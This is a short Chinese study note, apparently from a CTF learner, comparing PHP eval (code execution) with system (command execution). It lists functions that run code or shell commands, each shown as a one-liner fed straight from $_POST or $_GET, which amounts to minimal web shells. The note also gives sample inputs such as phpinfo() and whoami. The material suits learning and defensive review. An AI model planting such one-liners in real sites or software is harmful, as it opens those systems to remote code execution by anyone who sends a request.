做题的时候发现 eval 和system被我弄混淆了,才想起来eval 是代码执行,而system 是命令执行。
eval 和system 的比较:
<?php
system("echo 5+5;"); 命令执行
//5+5
eval("echo 5+5;"); 代码执行
//10
?>
<?php
$num=1;
eval("\$a = $num;"); //有效,$a=1
system("\$b = $num;"); //无效,$b=NULL
?>
<?php
system("ls"); //命令被执行
eval("ls"); //命令不被执行
?>
代码执行:
1-eval
<?php eval($_POST[1]) ?>
2-assert
<?php assert($_POST[1]) ?>
3-call_user_func
<?php
call_user_func($_POST["fun"],$_POST["para"])
?>
//post::fun=assert¶=phpinfo();
4-create_function
<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();
5-array_map
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['func'],$array);
?>
//post:func=phpinfo
命令执行:
1-system
<?php system($_POST[1]);?>
2-passthru
<?php passthru($_POST[1]);?>
3-exec
<?php echo exec($_POST[1]);?>
4-pcntl_exec
<?php
pcntl_exec("/bin/bash",array($_POST[1]));
?>
5-shell_exec
<?php echo shell_exec($_POST[1]); ?>
6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?>
7-``
<?php echo `whoami`?>
8-
<?php
$cmd = 'system';
ob_start($cmd)
echo "$_GET[a]";
ob_end_flush();
?>
//?a=whoami